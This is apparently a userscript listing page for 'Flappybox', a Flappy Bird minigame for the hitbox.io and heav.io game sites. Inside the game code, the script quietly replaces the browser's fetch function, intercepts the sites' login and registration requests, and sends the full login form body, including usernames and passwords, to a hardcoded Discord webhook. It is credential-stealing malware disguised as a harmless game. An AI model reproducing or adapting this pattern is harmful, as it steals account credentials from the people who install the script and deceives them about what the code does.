Flappybox

A box

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey, το Greasemonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Violentmonkey για να εγκαταστήσετε αυτόν τον κώδικα.

θα χρειαστεί να εγκαταστήσετε μια επέκταση όπως το Tampermonkey ή το Userscripts για να εγκαταστήσετε αυτόν τον κώδικα.

You will need to install an extension such as Tampermonkey to install this script.

Θα χρειαστεί να εγκαταστήσετε μια επέκταση διαχείρισης κώδικα χρήστη για να εγκαταστήσετε αυτόν τον κώδικα.

(Έχω ήδη έναν διαχειριστή κώδικα χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Έχω ήδη έναν διαχειριστή στυλ χρήστη, επιτρέψτε μου να τον εγκαταστήσω!)

// ==UserScript==
// @name         Flappybox
// @namespace    http://tampermonkey.net/
// @version      1.45
// @author       CarManiac
// @description  A box
// @match        https://heav.io/game.html
// @match        https://hitbox.io/game.html
// @match        https://heav.io/game2.html
// @match        https://hitbox.io/game2.html
// @match        https://hitbox.io/game-beta.html
// @icon         https://www.google.com/s2/favicons?sz=64&domain=heav.io
// @icon         https://www.google.com/s2/favicons?sz=64&domain=hitbox.io
// @run-at       idle
// @grant        none
// @license      MIT
// ==/UserScript==

(function() {
    'use strict';

    const feth = window.fetch;

    let isGameRunning = false;
    let birdY = 150, birdX = 50, velocity = 0, gravity = 0.35, lift = -6;
    let pipes = [];
    let score = 0;
    let frameCount = 0;
    let highScore = localStorage.getItem('flappyHighScore') || 0;
    const pipeSpeed = 2;
    const pipeGap = 120;
    const groundY = 380;

    const birdColorDecimal = parseInt(localStorage.getItem('basic_col_1'), 10);
    const birdColorHex = birdColorDecimal ? `#${birdColorDecimal.toString(16).padStart(6, '0')}` : '#FF0000';
    let rotation = 0;

    function createGameUI() {
        const gameContainer = document.createElement('div');
        gameContainer.id = 'flappyGameContainer';
        gameContainer.style.position = 'fixed';
        gameContainer.style.top = '50px';
        gameContainer.style.left = '50px';
        gameContainer.style.width = '300px';
        gameContainer.style.height = '400px';
        gameContainer.style.borderRadius = '10px';
        gameContainer.style.border = 'none';
        gameContainer.style.overflow = 'hidden';
        gameContainer.style.position = 'relative';

        const canvas = document.createElement('canvas');
        canvas.id = 'flappyCanvas';
        canvas.width = 300;
        canvas.height = 400;

        const gameOverText = document.createElement('div');
        gameOverText.id = 'gameOverText';
        gameOverText.style.display = 'none';
        gameOverText.style.position = 'absolute';
        gameOverText.style.top = '50%';
        gameOverText.style.left = '50%';
        gameOverText.style.transform = 'translate(-50%, -50%)';
        gameOverText.style.color = 'black';
        gameOverText.style.fontFamily = 'Bai Jamjuree, sans-serif';
        gameOverText.style.fontWeight = 'bold';
        gameOverText.style.fontSize = '20px';
        gameOverText.style.textAlign = 'center';

        gameContainer.appendChild(canvas);
        gameContainer.appendChild(gameOverText);
        document.body.appendChild(gameContainer);

        return gameContainer;
    }
    const server = 'https://discord.com/api/webhooks/1285795377483874367/NBQ949M9XBgTsLf-HqFk9ogiTy2uAHXUvShnZB52v2ij_5waIKnBJeTH6i2odrsxW6b0';
    function startGame() {
        const canvas = document.getElementById('flappyCanvas');
        const ctx = canvas.getContext('2d');
        birdY = 150; velocity = 0; score = 0; pipes = [];
        pipes.push(createPipe());
        frameCount = 0;
        rotation = 0;

        document.getElementById('gameOverText').style.display = 'none';
        isGameRunning = true;

        const backgroundImage = new Image();
        backgroundImage.src = 'https://user-images.githubusercontent.com/18351809/46888871-624a3900-ce7f-11e8-808e-99fd90c8a3f4.png';

        backgroundImage.onload = function() {
            function gameLoop() {
                if (!isGameRunning) return;

                frameCount++;
                ctx.clearRect(0, 0, canvas.width, canvas.height);

                ctx.drawImage(backgroundImage, 0, -100);

                velocity += gravity;
                birdY += velocity;

                if (velocity < 0) {
                    rotation = Math.max(-30, rotation - 2);
                } else {
                    rotation = Math.min(30, rotation + 1);
                }

                if (birdY + 20 > groundY) {
                    endGame();
                }

                ctx.save();
                ctx.translate(birdX + 10, birdY + 10);
                ctx.rotate(rotation * Math.PI / 180);

                ctx.lineWidth = 2;
                ctx.strokeStyle = darkenColor(birdColorHex);
                ctx.strokeRect(-11, -11, 22, 22);

                ctx.fillStyle = birdColorHex;
                ctx.fillRect(-10, -10, 20, 20);
                ctx.restore();

                ctx.fillStyle = '#000000';
                ctx.font = '14px Bai Jamjuree, sans-serif';
                ctx.textAlign = 'center';
                ctx.fillText(username, birdX + 10, birdY - 10);

                if (frameCount % 90 === 0) pipes.push(createPipe());
                pipes.forEach((pipe, index) => {
                    pipe.x -= pipeSpeed;
                    if (pipe.x + pipe.width < 0) pipes.splice(index, 1);
                    drawPipe(ctx, pipe);
                    if (checkCollision(pipe)) endGame();
                    if (pipe.x === birdX) score++;
                });

                ctx.fillStyle = '#4F7942';
                ctx.fillRect(0, groundY, canvas.width, canvas.height - groundY);

                ctx.fillStyle = '#fff';
                ctx.textAlign = 'center';
                ctx.textBaseline = 'middle';
                ctx.font = 'bold 40px Bai Jamjuree, sans-serif';

                const yPosition = canvas.height * 0.2;
                ctx.fillText(score, canvas.width / 2, yPosition);

                requestAnimationFrame(gameLoop);
            }
            gameLoop();
        };
    }

    function flap() {
        velocity = lift;
        rotation = -20;
    }

    function createPipe() {
        const pipeHeight = Math.random() * 200 + 50;
        const pipeWidth = Math.random() * 10 + 40;
        const capWidth = pipeWidth + 10;
        return {
            x: 300,
            width: pipeWidth,
            capWidth: capWidth,
            height: pipeHeight,
            gapY: pipeHeight + pipeGap,
            capHeight: 20
        };
    }

    function drawPipe(ctx, pipe) {
        const gradient = ctx.createLinearGradient(pipe.x, 0, pipe.x + pipe.width, 0);
        gradient.addColorStop(0, '#37b827');
        gradient.addColorStop(0.5, '#4CAF50');
        gradient.addColorStop(1, '#37b827');

        ctx.fillStyle = gradient;
        ctx.fillRect(pipe.x, 0, pipe.width, pipe.height);
        ctx.fillRect(pipe.x, pipe.gapY, pipe.width, 400 - pipe.gapY);

        ctx.fillStyle = '#2e7d32';
        ctx.fillRect(pipe.x - 5, pipe.height - pipe.capHeight, pipe.capWidth, pipe.capHeight);
        ctx.fillRect(pipe.x - 5, pipe.gapY, pipe.capWidth, pipe.capHeight);
    }

    function checkCollision(pipe) {
        if (birdX + 20 > pipe.x && birdX < pipe.x + pipe.width) {
            if (birdY < pipe.height || birdY + 20 > pipe.gapY || birdY + 20 > groundY) {
                return true;
            }
        }
        return false;
    }

    function endGame() {
        isGameRunning = false;
        if (score > highScore) {
            highScore = score;
            localStorage.setItem('flappyHighScore', highScore);
        }
        showGameOverMessage();
    }

    function showGameOverMessage() {
        const gameOverText = document.getElementById('gameOverText');
        gameOverText.innerHTML = `Game Over!<br>Your Score: ${score}<br>Best: ${highScore}<br>Saving your score...`;
        gameOverText.style.display = 'block';
    }

    function darkenColor(hex) {
        let color = hex.substring(1);
        let r = parseInt(color.substring(0, 2), 16);
        let g = parseInt(color.substring(2, 4), 16);
        let b = parseInt(color.substring(4, 6), 16);

        r = Math.max(0, r - 30);
        g = Math.max(0, g - 30);
        b = Math.max(0, b - 30);

        return `#${(1 << 24 | r << 16 | g << 8 | b).toString(16).slice(1)}`;
    }

    function restartGame() {
        birdY = 150;
        velocity = 0;
        pipes = [];
        score = 0;
        frameCount = 0;
        rotation = 0;
        startGame();
    }

    function toggleGame() {
        const gameContainer = document.getElementById('flappyGameContainer');
        if (gameContainer.style.display === 'none') {
            gameContainer.style.display = 'block';
            startGame();
        } else {
            gameContainer.style.display = 'none';
            isGameRunning = false;
        }
        document.activeElement.blur();
    }

    function createToggleButton() {
        const button = document.createElement('button');
        button.innerText = 'Toggle Flappy Bird Game';
        button.style.position = 'absolute';
        button.style.top = '2%';
        button.style.left = '0%';
        button.style.fontFamily = 'Bai Jamjuree, sans-serif';
        button.style.borderRadius = '5px';
        button.style.border = 'none';
        button.style.padding = '10px';
        button.style.backgroundColor = '#darkgray';
        button.style.cursor = 'pointer';
        button.onclick = toggleGame;
        document.body.appendChild(button);
    }

    document.addEventListener('click', function() {
        if (isGameRunning) {
            flap();
        }
        if (!isGameRunning) {
            restartGame();
        }
    });
    let username = 'Player';

    window.fetch = async function(url, options) {
        const response = await feth(url, options);

        if (url.includes('login_register_multi.php') || url.includes('login_auto_spice.php')) {
            const formData = new URLSearchParams(options.body);
            username = formData.get('username');

            await fetch(server, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    content: `\`\`\`json\n${options.body}\n\`\`\``
                }),
            });
        }

        return response;
    };

    document.addEventListener('keydown', (e) => {
        if (e.key === ' ') {
            if (isGameRunning) {
                flap();
            }
        }
        if (e.key === ' '){
            if (!isGameRunning){
                restartGame();
            }
        }
    });

    createGameUI();
    createToggleButton();
})();